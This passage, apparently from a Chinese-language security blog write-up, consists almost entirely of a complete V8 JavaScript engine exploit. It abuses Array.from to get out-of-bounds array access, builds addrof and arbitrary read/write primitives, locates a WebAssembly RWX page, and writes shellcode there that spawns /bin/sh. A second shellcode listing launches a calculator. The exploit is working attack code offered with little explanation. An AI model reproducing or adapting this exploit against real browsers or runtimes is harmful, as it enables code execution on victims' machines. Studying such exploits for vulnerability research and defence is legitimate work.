function write8(addr, value) {
oobArray[buf_offset+1] = u2d(addr);
oobArray[buf_offset+2] = u2d(addr);
let result = new Uint8Array(bufs[bufs_index]);
result[0] = value;
}

成功!

image-20191114140917158

Full exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
// type converter
var buf8 = new ArrayBuffer(8);
var f64 = new Float64Array(buf8);
var u32 = new Uint32Array(buf8);
// double64 => uint64
function d2u(d) {
f64[0] = d;
let r = Array.from(u32);
return r[1]*0x100000000+r[0];
}
// uint64 => double64
function u2d(u) {
let r = [];
r[0] = parseInt(u % 0x100000000);
r[1] = parseInt((u - r[0]) / 0x100000000);
u32.set(r);
return f64[0];
}
// turn into hex string
function hex(v) {
return '0x'+v.toString(16).padStart(16, '0');
}

//console.log(u2d(0x12345678));
//console.log(d2u(1.50897478e-315));




var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028*8;

Array.from.call(function() { return oobArray;},{[Symbol.iterator] : _ => (

{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if(this.counter > maxSize) {
oobArray.length = 1;

for(let i = 0; i < 100; i++) {
bufs.push(new ArrayBuffer(0x1234));
let obj = {'a': 0x5678, 'b': 0x9999};
objs.push(obj);
}

return {done:true};
}
else {
return {value: result, done: false};
}
}
}

)});


// search arraybuffer we can control
let buf_offset = 0;
for(let i = 0; i < maxSize; i++) {
let value = d2u(oobArray[i]);
if(value == 0x123400000000) {
buf_offset = i;
// change length
oobArray[i] = u2d(0x121200000000);
oobArray[i+3] = u2d(0x1212);
break;
}
}
console.log('[*] buf_offset = '+hex(buf_offset));
// find index in bufs
let bufs_index = 0;
// 100 = console.log(bufs.length);
for(let i = 0; i < bufs.length; i++) {
let value = bufs[i].byteLength;
//console.log(hex(value));
if(value == 0x1212) {
//console.log(i);
bufs_index = i;
break
}
}
console.log('[*] control bufs index: '+hex(bufs_index));
//%DebugPrint(bufs[bufs_index]);
//%SystemBreak();

// search obj we can control
let obj_offset = 0;
for(let i = 0; i < maxSize; i++) {
let value = d2u(oobArray[i]);
if(value == 0x567800000000) {
obj_offset = i;
oobArray[i] = u2d(0x777700000000);
break;
}
}
console.log('[*] obj_offset = '+hex(obj_offset));
// find index in objs
let objs_index = 0;
//console.log(objs.length);
for(let i = 0; i < objs.length; i++) {
let value = objs[i].a;
if(value == 0x7777) {
//console.log(i);
objs_index = i;
break;
}
}
console.log('[*] control objs index: '+hex(objs_index));
//%DebugPrint(objs[objs_index]);
//%SystemBreak();

// oobArray[buf_offset] = bufs[bufs_index] <= controlled
// oobArray[obj_offset] = objs[objs_index] <= controlled


// leak object address
function addrof(o) {
objs[objs_index].a = o;
return d2u(oobArray[obj_offset])-1;
}

//var test = {'aa':123};
//console.log(hex(addrof(test)));
//%DebugPrint(test);

// arbitrary read with overwriting backing_store
function read64(addr) {
//console.log("====");
//%DebugPrint(oobArray[buf_offset]);
//console.log(hex(d2u(oobArray[buf_offset])));
//%DebugPrint(bufs[bufs_index]);
oobArray[buf_offset+1] = u2d(addr);
oobArray[buf_offset+2] = u2d(addr); // these two should be same
let result = new Float64Array(bufs[bufs_index], 0, 0x10);
return d2u(result[0]);
}

//console.log(hex(read(addrof(test))));

// arbitrary write
function write64(addr, value) {
oobArray[buf_offset+1] = u2d(addr);
oobArray[buf_offset+2] = u2d(addr);
let result = new Float64Array(bufs[bufs_index], 0, 0x10);
//result.set([u2d(value)]);
result[0] = u2d(value);
}

function write8(addr, value) {
oobArray[buf_offset+1] = u2d(addr);
oobArray[buf_offset+2] = u2d(addr);
let result = new Uint8Array(bufs[bufs_index]);
result[0] = value;
}


//test_addr = addrof(test);
//console.log(hex(test_addr));
//console.log(hex(read64(test_addr)));
//write64(test_addr, 0x12345678);
//console.log(hex(read64(test_addr)));


var buf0_addr = addrof(bufs[1]);
//console.log(hex(buf0_addr));
var heap_address = read64(buf0_addr+0x28)-0xa80b0;
console.log('[*] heap address: '+hex(heap_address));


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,
0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,
0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,
4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addrof(f);
console.log("[*] wasm instance: "+hex(f_addr));
var shared_info_addr = read64(f_addr+0x18)-0x1;
console.log("[*] shared info: "+hex(shared_info_addr));
var js_to_wasm_address = read64(shared_info_addr+8)-1;
console.log("[*] js to wasm function: "+hex(js_to_wasm_address));
var rwx_page_addr = read64(js_to_wasm_address+0x72);
console.log("[*] rwx page: " + hex(rwx_page_addr));

//var shellcode = [
// 0x2fbb485299583b6a,
// 0x5368732f6e69622f,
// 0x050f5e5457525f54
//];

shellcode= new Uint8Array(
[
106,0,72,141,61,17,0,0,0,87,72,141,52,36,72,49,210,
72,199,192,59,0,0,0,15,5,47,98,105,110,47,115,104,0
]
);
for(let i = 0; i < shellcode.length;i++){
let value = shellcode[i];
write8(rwx_page_addr+i,value);
}

f();

//var data_buf = new ArrayBuffer(24);
//var data_view = new DataView(data_buf);
//console.log(hex(addrof(data_buf)));
//var buf_backing_store_addr = addrof(data_buf)+0x20;
//console.log(hex(buf_backing_store_addr));

//write64(buf_backing_store_addr, rwx_page_addr);
//write64(rwx_page_addr, shellcode[0]);
//write64(rwx_page_addr+8, shellcode[1]);
//write64(rwx_page_addr+16, shellcode[2]);
//%SystemBreak();
//data_view.setFloat64(0, u2d(shellcode[0]), true);
//data_view.setFloat64(8, u2d(shellcode[1]), true);
//data_view.setFloat64(16, u2d(shellcode[2]), true);
//f();

console.log("[*] finished!");
//%SystemBreak();

照例还是要弹个计算器的:

image-20191114141826959

弹计算器的shellcode:

1
2
3

shellcode = new Uint8Array([
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x90, 0x90, 0x90, 0x90, 0x90]);